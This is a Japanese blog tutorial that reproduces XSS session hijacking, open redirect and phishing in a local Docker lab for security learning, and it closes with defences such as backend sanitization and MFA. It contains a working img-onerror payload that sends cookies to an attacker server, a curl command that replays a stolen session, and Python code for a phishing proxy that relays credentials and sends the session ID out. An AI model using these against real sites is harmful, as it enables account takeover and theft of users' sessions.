こんにちは、なかにしです。
よく、フォームなどを実装するとき、
フロントとバックの両方で入力値をチェックしろ!と言われますよね。
これは攻撃への対策なのですが、
そもそもどんな攻撃があるか知らないと、その対策が正しいのか判断がつきません。
そこで今回は、入力値チェックをしないと起こる、
XSSやセッションハイジャックを実装しながら見ていきます。
※本記事はセキュリティ学習を目的としており、 実在するサービスへの攻撃を推奨するものではありません。 検証はすべてローカル環境で行っています。
準備
コードは、Github に上げています。
dockerを使用して、フロントはReact、バックはFastAPIでフォームを用意し、nginxでそれらを同一オリジンにします。
同一オリジンにする理由は、FastAPIのデフォルト設定だと、異なったオリジンからsession_idが窃取できないからです。偉いねFastAPIくん。
attacker用のサーバーも用意して、完了です。
services:
nginx:
image: nginx:alpine
ports:
- "80:80"
volumes:
- ./nginx/nginx.conf:/etc/nginx/conf.d/default.conf
depends_on:
- frontend
- backend
frontend:
build: ./frontend
volumes:
- ./frontend:/app
- /app/node_modules
depends_on:
- backend
backend:
build: ./backend
volumes:
- ./backend:/app
attacker:
build: ./attacker
ports:
- "9000:9000"
volumes:
- ./attacker:/appフロント、バックのコードは割愛します。
気になる方は、Githubのコードを見てください。
今回の前提
今回は、認証にセッション認証を使用していることが前提です。
セッション認証は、以下のような仕組みです。

id, pwをサーバーに送り、サーバー側でDBなどを参照し、認証(本人確認)を行います。
認証ができたら、セッションIDを発行し、フロントへ返却します。
フロントでは、セッションIDを受け取り、ブラウザのCookieなどへ保存します。
今後、フロントはサーバーにリクエストを送る際に、このセッションIDを付けて送ることで、私は本人ですよと証明することになり、毎回の本人確認が不要になるよ、という仕組みです。
つまり、このセッションIDを盗んじゃえば、なりすましができますね。
このセッションIDを盗んでなりすますのが、セッションハイジャックです。
セッションIDを窃取する
それでは、実際に盗んでいきます。
▽ 盗みました。(攻撃用サーバーのログ)
Cookie窃取成功:
notice_concat_row_page=1; ajs_anonymous_id=0c25b656-7e7c-4cb2-bc23-7c8bf999c478; session_id=abc123_secret_tokenどうやって盗んだの?
さて、盗んだ工程を詳しく見ていきましょう。
まず、今回の攻撃に使ったスクリプトは、以下です。
いわゆる、XSSです。
<img src=x onerror="new Image().src='http://localhost:9000/steal?c='+encodeURIComponent(document.cookie)">昔は scriptタグ を使うことが多かったですが、
対策されまくっているため、imgタグを使うのが主流となっているようです。
<img src=x ...>ここで、存在しないURLを指定します。
もちろん、エラーになります。このエラーが、トリガーです。
onerror="..."onerrorは、画像のロードが失敗したときに発火するイベントハンドラです。
scriptタグが対策されたので、ここで確実にJSを実行させる仕掛けです。
new Image().src = 'http://localhost:9000/steal?c=...'fetch() や XMLHttpRequest と違い、画像リクエストはCORSの制約を受けません。
ブラウザはどのオリジンへでも画像を取りに行くので、Attackerサーバー(http://localhost:9000)へのリクエストが確実に飛びます。これは賢い。
fetch() を使うとCORSに引っかかる可能性があるので、画像リクエストに偽装するのがポイントです。
encodeURIComponent(document.cookie)CookieをURLパラメータとして送るために = や ; をエンコードします。
これがないとURLがパースされたときに値が壊れます。抜け目ないですね。
これで、http://localhost:9000/stealへ、session_idが送信されました。
セッションIDを使ってなりすます
最後に、いただいたセッションIDを使って、ユーザー情報を引き抜きます。
使うのはもちろん curlコマンド です。
curl -b "session_id=abc123_secret_token" http://localhost:80/api/me▽ 結果

ユーザー名とメールアドレス、ロールが分かった!嬉しい!
ちょっと待った!
あれ?
今回はそもそも、ログイン時にsession_idを盗んでいるから、メアドとパスワードが分かっている状況だよね?
それだったら、普通にそのアカウントでログインして操作しちゃえば良くない?
というか、ログインフォームの中に、
今回のように攻撃用コードを入れるちょうどいい箱があるわけなくね?
実際の攻撃は?
おっしゃる通りです。
こんな都合の良い話はありません。
実際の攻撃は、ログインID, PWが不明な状態で実行されます。
一体、どうやって?
いくつか、攻撃の手口を紹介します。
XSS
最も有名と言っても過言ではない、XSSを紹介します。
ECサイトのレビュー欄を考えましょう。
今回は、すでにログインしており、
Cookieにsession_idが保存されているユーザーを狙うことを想定します。
うわ、これは良い商品だね!
このコメントに、以下を仕込むのです。
<img src=x onerror="new Image().src='http://localhost:9000/steal?c='+encodeURIComponent(document.cookie)">すると、このページを開いたユーザーは、sesson_idが抜かれます。
クリックとかではないです。
開いただけで、抜かれます。
しかも、この攻撃はブラウザで完結するので、
一度コメントとして書かれてしまったら、コメントが消えるまで来訪したユーザーのsession_idが抜かれ続けます。悪質!
対策としては、「imgタグを機能させない」です。
サニタイズ処理を行い、タグではなく文字列として処理し、無害化します。
ここで、フロントだけでなくバックでもサニタイズを行うのがポイントです。
理由としては、バックに直接 curlコマンドで コメントを送られたら、フロントをスルーできる為です。
オープンリダイレクト
怪しいサイトへ誘導するやり口です。
メールで、以下のようなリンクを送ります。
買い物サイトはこちら!
http://amazon.co.jp/redirect?url=http://攻撃者サイト.com
あれ、amazonじゃーんとクリックしたら、フィッシングサイトへ飛ばされます。
フィッシングサイト
オープンリダイレクトで飛ばされたフィッシングサイトで、
どうやって情報を抜くか解説します。
これは巧妙なので、詳しく解説します。
今回は、ログインして使うようなサービスを想定しました。

今回は、使いたいサービスのログインフォームとまったく同じログインフォームをフィッシングサイトとして用意した体で進めます。
違うのは、URLだけです。
正常な動作を見てみる
まずは、正常パターンを見てみましょう。
正規のログイン画面から、ログインして、ダッシュボードへ行きます。
ユーザー名かパスワードが誤っていると、エラーが出ることも確認しました。
続いて、フィッシングサイトです。
URLが異なっているところに注目です。
ユーザー名かパスワードが誤っているときのエラーも再現されていますね。
ログイン後は、正規のダッシュボードに到達しますが、もう session_id が盗まれています。
どこで盗んだ?
仕組みを解説します。

フィッシングサイトの場合は、すでにAttackerサーバーへ横流しするようなコードが埋め込まれていて、ログイン時にその情報が Attackサーバー に横流しされます。
巧妙なのは、どちらもログインしてダッシュボードへ遷移する、というフローは同じだということです。
普通にログインしているだけだと、気づきません。
埋め込まれた攻撃コード
攻撃コードは、具体的に何をしているのか。
まず、ログインボタンを押したとき、正規とは別の、フィッシング用サーバーにリクエストを送ります。
▽ 正常なリクエスト

▽ フィッシングサーバーからのリクエスト

そして、localhost:8080/api/login の方で、Attackサーバーにsession_idを横流しします。
@app.post("/login")
def phishing_login(data: LoginData):
# 1. 本物のバックエンドへ認証情報を転送
try:
real_res = httpx.post(
f"{REAL_BACKEND}/login",
json={"username": data.username, "password": data.password},
timeout=5,
)
except httpx.RequestError:
return JSONResponse(status_code=503, content={"detail": "サーバーに接続できませんでした"})
# 認証失敗はそのままフロントへ返す
if real_res.status_code != 200:
return JSONResponse(status_code=real_res.status_code, content=real_res.json())
session_id = real_res.cookies.get("session_id")
# 2. 窃取したsession_idを攻撃者サーバーへ送信
try:
httpx.get(
f"{ATTACKER_SERVER}/steal",
params={"c": f"session_id={session_id}", "via": "phishing", "user": data.username},
timeout=3,
)
except httpx.RequestError:
pass
# 3. フロントにリダイレクト先を返す(Cookieも含む)
body = real_res.json()
body["redirect"] = "http://localhost"
response = JSONResponse(content=body)
response.set_cookie(key="session_id", value=session_id, httponly=False)
return response横流ししたら、正常なダッシュボードへリダイレクトします。
盗まれた後は
ここからは、やりたい放題です。
先ほどのようにCurlを送れば、ユーザーIDやpasswordを窃取することができますし、アプリによってはDMや退会もできるでしょう。
対策
- (ユーザー側)フィッシングを踏まない
これが全てです。
触らぬ神に祟りなし。
怪しいと思ったら、無視。 - (アプリ側)重要操作には別の認証を重ねる
振込・送金などの決済操作には、セッションとは完全に独立した認証を要求することでセッションが盗まれていても突破できないようにします。
よくあるのは、多要素認証(MFA)を使う例です。
ワンタイムパスワードや、Authenticator などですね。
まとめ
今回のセッションハイジャックを実装して思ったのは、
巧妙なものは、私でも引っかかる可能性があるということです。
ユーザー側としては、怪しいサイトはとにかく触らない。
これに尽きます。
アプリ側としては、ワンタイムパスワードや、Authenticatorを使って、「セッションを盗まれた前提での設計」をすることが重要だと思います。
銀行などは特に、ゼロトラスト的な考え方で、たとえセッションIDが盗まれても、お金を動かせない仕組みを作ることに注力しているらしいです。
まぁ、実は最も多い攻撃手法はソーシャルエンジニアリングなんですけどね😒
いくらセッションハイジャックを警戒していても、ログインIDとパスワードが目視で見られたらどうしようもありません。
皆様も、くれぐれも情報漏洩にはお気を付けください。
今回はここまで!
Enjoy Hacking!!



